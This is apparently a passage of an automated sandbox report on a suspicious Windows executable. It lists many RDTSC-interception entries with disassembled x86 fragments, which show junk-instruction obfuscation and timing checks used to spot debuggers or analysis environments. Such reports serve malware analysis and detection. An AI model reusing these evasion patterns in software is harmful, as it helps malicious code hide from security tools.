Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C400D4 second address: 4C400D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C400D8 second address: 4C400DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C400DE second address: 4C40102 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40102 second address: 4C40106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40106 second address: 4C4010C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C60B47 second address: 4C60BD5 instructions: 0x00000000 rdtsc 0x00000002 call 00007F759C7632A8h 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ecx, edi 0x0000000c popad 0x0000000d push eax 0x0000000e pushad 0x0000000f pushfd 0x00000010 jmp 00007F759C7632A6h 0x00000015 and si, 4D48h 0x0000001a jmp 00007F759C76329Bh 0x0000001f popfd 0x00000020 popad 0x00000021 xchg eax, ebp 0x00000022 pushad 0x00000023 mov cx, F5DBh 0x00000027 pushfd 0x00000028 jmp 00007F759C7632A0h 0x0000002d add ecx, 3B4D0FA8h 0x00000033 jmp 00007F759C76329Bh 0x00000038 popfd 0x00000039 popad 0x0000003a mov ebp, esp 0x0000003c push eax 0x0000003d push edx 0x0000003e jmp 00007F759C7632A5h 0x00000043 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C60BD5 second address: 4C60BDB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C60746 second address: 4C6074C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C6074C second address: 4C60750 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0D06 second address: 4CA0D0A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0D0A second address: 4CA0D10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0D10 second address: 4CA0D45 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F759C7632A0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 jmp 00007F759C76329Dh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0D45 second address: 4CA0D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0D49 second address: 4CA0D4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C804D8 second address: 4C80519 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F759D5FDE4Bh 0x0000000f xchg eax, ebp 0x00000010 pushad 0x00000011 mov edx, eax 0x00000013 push eax 0x00000014 push edx 0x00000015 pushfd 0x00000016 jmp 00007F759D5FDE4Eh 0x0000001b or eax, 1DE01478h 0x00000021 jmp 00007F759D5FDE4Bh 0x00000026 popfd 0x00000027 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C80519 second address: 4C805F3 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F759C7632A8h 0x00000008 add ax, 2ED8h 0x0000000d jmp 00007F759C76329Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 popad 0x00000016 mov ebp, esp 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F759C7632A4h 0x0000001f adc si, F938h 0x00000024 jmp 00007F759C76329Bh 0x00000029 popfd 0x0000002a jmp 00007F759C7632A8h 0x0000002f popad 0x00000030 mov eax, dword ptr [ebp+08h] 0x00000033 pushad 0x00000034 movzx eax, bx 0x00000037 pushfd 0x00000038 jmp 00007F759C7632A3h 0x0000003d sbb cx, D45Eh 0x00000042 jmp 00007F759C7632A9h 0x00000047 popfd 0x00000048 popad 0x00000049 and dword ptr [eax], 00000000h 0x0000004c pushad 0x0000004d pushfd 0x0000004e jmp 00007F759C76329Ch 0x00000053 sbb cl, 00000058h 0x00000056 jmp 00007F759C76329Bh 0x0000005b popfd 0x0000005c mov cx, 790Fh 0x00000060 popad 0x00000061 and dword ptr [eax+04h], 00000000h 0x00000065 pushad 0x00000066 push eax 0x00000067 push edx 0x00000068 mov cl, C2h 0x0000006a rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C805F3 second address: 4C805FB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C6061A second address: 4C6062E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C8004A second address: 4C80086 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov bx, ax 0x00000010 call 00007F759D5FDE56h 0x00000015 pop eax 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C80086 second address: 4C8008C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C8008C second address: 4C80090 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C80090 second address: 4C8009F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C8009F second address: 4C800A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C800A3 second address: 4C800A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C800A7 second address: 4C800AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C800AD second address: 4C800B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C800B3 second address: 4C800B7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C8025C second address: 4C80272 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C80272 second address: 4C802F4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov al, bl 0x00000005 call 00007F759D5FDE4Ah 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ebx 0x0000000f pushad 0x00000010 mov di, ax 0x00000013 mov dl, ah 0x00000015 popad 0x00000016 mov dword ptr [esp], ebp 0x00000019 jmp 00007F759D5FDE4Bh 0x0000001e mov ebp, esp 0x00000020 pushad 0x00000021 pushad 0x00000022 mov di, cx 0x00000025 pushfd 0x00000026 jmp 00007F759D5FDE4Eh 0x0000002b or ecx, 7B0008D8h 0x00000031 jmp 00007F759D5FDE4Bh 0x00000036 popfd 0x00000037 popad 0x00000038 pushfd 0x00000039 jmp 00007F759D5FDE58h 0x0000003e and cl, 00000038h 0x00000041 jmp 00007F759D5FDE4Bh 0x00000046 popfd 0x00000047 popad 0x00000048 pop ebp 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d pushad 0x0000004e popad 0x0000004f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C802F4 second address: 4C8030F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A7h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA065C second address: 4CA0662 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0662 second address: 4CA0666 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0666 second address: 4CA066A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA066A second address: 4CA071A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F759C7632A9h 0x0000000e mov ebp, esp 0x00000010 jmp 00007F759C76329Eh 0x00000015 xchg eax, ecx 0x00000016 jmp 00007F759C7632A0h 0x0000001b push eax 0x0000001c pushad 0x0000001d pushfd 0x0000001e jmp 00007F759C7632A1h 0x00000023 xor cl, FFFFFF96h 0x00000026 jmp 00007F759C7632A1h 0x0000002b popfd 0x0000002c mov ah, E3h 0x0000002e popad 0x0000002f xchg eax, ecx 0x00000030 jmp 00007F759C7632A3h 0x00000035 mov eax, dword ptr [76FC65FCh] 0x0000003a pushad 0x0000003b push eax 0x0000003c push edx 0x0000003d pushfd 0x0000003e jmp 00007F759C7632A2h 0x00000043 xor esi, 1A8A0518h 0x00000049 jmp 00007F759C76329Bh 0x0000004e popfd 0x0000004f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA071A second address: 4CA0776 instructions: 0x00000000 rdtsc 0x00000002 movzx esi, bx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 jmp 00007F759D5FDE55h 0x0000000c popad 0x0000000d test eax, eax 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F759D5FDE4Ch 0x00000016 xor si, 26A8h 0x0000001b jmp 00007F759D5FDE4Bh 0x00000020 popfd 0x00000021 mov ax, B99Fh 0x00000025 popad 0x00000026 je 00007F760F8A104Fh 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007F759D5FDE51h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA0776 second address: 4CA079C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ecx, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F759C76329Dh 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA079C second address: 4CA07E5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE51h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xor eax, dword ptr [ebp+08h] 0x0000000c jmp 00007F759D5FDE57h 0x00000011 and ecx, 1Fh 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007F759D5FDE55h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA08C6 second address: 4CA08DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4CA08DB second address: 4CA0918 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F759D5FDE57h 0x00000009 and ecx, 61D46F0Eh 0x0000000f jmp 00007F759D5FDE59h 0x00000014 popfd 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50022 second address: 4C500BB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F759C7632A7h 0x00000009 sub ax, 030Eh 0x0000000e jmp 00007F759C7632A9h 0x00000013 popfd 0x00000014 call 00007F759C7632A0h 0x00000019 pop ecx 0x0000001a popad 0x0000001b pop edx 0x0000001c pop eax 0x0000001d push edx 0x0000001e pushad 0x0000001f pushfd 0x00000020 jmp 00007F759C76329Ch 0x00000025 sub cx, E4B8h 0x0000002a jmp 00007F759C76329Bh 0x0000002f popfd 0x00000030 push eax 0x00000031 push edx 0x00000032 pushfd 0x00000033 jmp 00007F759C7632A6h 0x00000038 sub ecx, 11241F18h 0x0000003e jmp 00007F759C76329Bh 0x00000043 popfd 0x00000044 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C500BB second address: 4C5014C instructions: 0x00000000 rdtsc 0x00000002 call 00007F759D5FDE58h 0x00000007 pop esi 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov dword ptr [esp], ebp 0x0000000e jmp 00007F759D5FDE51h 0x00000013 mov ebp, esp 0x00000015 jmp 00007F759D5FDE4Eh 0x0000001a and esp, FFFFFFF8h 0x0000001d jmp 00007F759D5FDE50h 0x00000022 xchg eax, ecx 0x00000023 push eax 0x00000024 push edx 0x00000025 pushad 0x00000026 pushfd 0x00000027 jmp 00007F759D5FDE4Dh 0x0000002c add eax, 4A4F7B76h 0x00000032 jmp 00007F759D5FDE51h 0x00000037 popfd 0x00000038 call 00007F759D5FDE50h 0x0000003d pop eax 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C5014C second address: 4C50167 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F759C7632A7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50167 second address: 4C501C6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ecx 0x0000000b mov edx, 7D36E6A4h 0x00000010 pop edi 0x00000011 mov esi, 6DC1AC09h 0x00000016 popad 0x00000017 xchg eax, ecx 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F759D5FDE52h 0x0000001f xor ch, 00000058h 0x00000022 jmp 00007F759D5FDE4Bh 0x00000027 popfd 0x00000028 call 00007F759D5FDE58h 0x0000002d movzx esi, di 0x00000030 pop ebx 0x00000031 popad 0x00000032 xchg eax, ebx 0x00000033 push eax 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 push eax 0x00000038 push edx 0x00000039 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C501C6 second address: 4C501CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C501CA second address: 4C501D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C501D0 second address: 4C50268 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, ecx 0x00000005 mov esi, 63B3C6DFh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007F759C7632A5h 0x00000013 xchg eax, ebx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F759C76329Ch 0x0000001b sbb ch, 00000078h 0x0000001e jmp 00007F759C76329Bh 0x00000023 popfd 0x00000024 call 00007F759C7632A8h 0x00000029 pushfd 0x0000002a jmp 00007F759C7632A2h 0x0000002f xor ax, 0608h 0x00000034 jmp 00007F759C76329Bh 0x00000039 popfd 0x0000003a pop ecx 0x0000003b popad 0x0000003c mov ebx, dword ptr [ebp+10h] 0x0000003f jmp 00007F759C76329Fh 0x00000044 xchg eax, esi 0x00000045 push eax 0x00000046 push edx 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50268 second address: 4C5026C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C5026C second address: 4C50270 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50270 second address: 4C50276 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50276 second address: 4C502AE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ebx, ecx 0x00000005 pushfd 0x00000006 jmp 00007F759C7632A4h 0x0000000b sub ecx, 2479FAC8h 0x00000011 jmp 00007F759C76329Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e push eax 0x0000001f pop edi 0x00000020 mov ebx, ecx 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C502AE second address: 4C502FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F759D5FDE59h 0x00000008 pushfd 0x00000009 jmp 00007F759D5FDE50h 0x0000000e add ah, FFFFFF88h 0x00000011 jmp 00007F759D5FDE4Bh 0x00000016 popfd 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a xchg eax, esi 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e mov ebx, 7CC12BF6h 0x00000023 mov cx, bx 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C502FA second address: 4C50385 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, dword ptr [ebp+08h] 0x0000000d jmp 00007F759C7632A0h 0x00000012 xchg eax, edi 0x00000013 jmp 00007F759C7632A0h 0x00000018 push eax 0x00000019 jmp 00007F759C76329Bh 0x0000001e xchg eax, edi 0x0000001f jmp 00007F759C7632A6h 0x00000024 test esi, esi 0x00000026 pushad 0x00000027 mov ax, dx 0x0000002a popad 0x0000002b je 00007F760EA51559h 0x00000031 jmp 00007F759C76329Fh 0x00000036 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F759C7632A5h 0x00000044 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50385 second address: 4C50395 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F759D5FDE4Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50395 second address: 4C503F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b je 00007F760EA5151Bh 0x00000011 pushad 0x00000012 mov bx, ax 0x00000015 mov bh, ah 0x00000017 popad 0x00000018 mov edx, dword ptr [esi+44h] 0x0000001b jmp 00007F759C7632A3h 0x00000020 or edx, dword ptr [ebp+0Ch] 0x00000023 pushad 0x00000024 mov eax, 2FD7485Bh 0x00000029 push esi 0x0000002a pushad 0x0000002b popad 0x0000002c pop edi 0x0000002d popad 0x0000002e test edx, 61000000h 0x00000034 push eax 0x00000035 push edx 0x00000036 push eax 0x00000037 push edx 0x00000038 jmp 00007F759C7632A2h 0x0000003d rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C503F3 second address: 4C503F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C503F7 second address: 4C503FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C503FD second address: 4C50403 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50403 second address: 4C50407 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C50407 second address: 4C5040B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40779 second address: 4C4078B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F759C76329Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C4078B second address: 4C407A3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE4Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C407A3 second address: 4C407A7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C407A7 second address: 4C407AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C407AD second address: 4C407D6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C76329Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F759C7632A7h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C407D6 second address: 4C40865 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759D5FDE59h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F759D5FDE4Ch 0x00000013 xor al, 00000018h 0x00000016 jmp 00007F759D5FDE4Bh 0x0000001b popfd 0x0000001c call 00007F759D5FDE58h 0x00000021 mov si, 6C51h 0x00000025 pop eax 0x00000026 popad 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b pushad 0x0000002c popad 0x0000002d pushfd 0x0000002e jmp 00007F759D5FDE55h 0x00000033 sbb cx, 0E16h 0x00000038 jmp 00007F759D5FDE51h 0x0000003d popfd 0x0000003e popad 0x0000003f rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C40865 second address: 4C408A1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F759C7632A1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ebx 0x0000000c jmp 00007F759C76329Eh 0x00000011 xchg eax, esi 0x00000012 jmp 00007F759C7632A0h 0x00000017 push eax 0x00000018 pushad 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\DPqKF5vqpe.exe	RDTSC instruction interceptor: First address: 4C408A1 second address: 4C408D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 mov ax, di 0x00000008 popad 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007F759D5FDE4Eh 0x00000013 and esi, 593F46F8h 0x00000019 jmp 00007F759D5FDE4Bh 0x0000001e popfd 0x0000001f mov edi, eax 0x00000021 popad 0x00000022 rdtsc
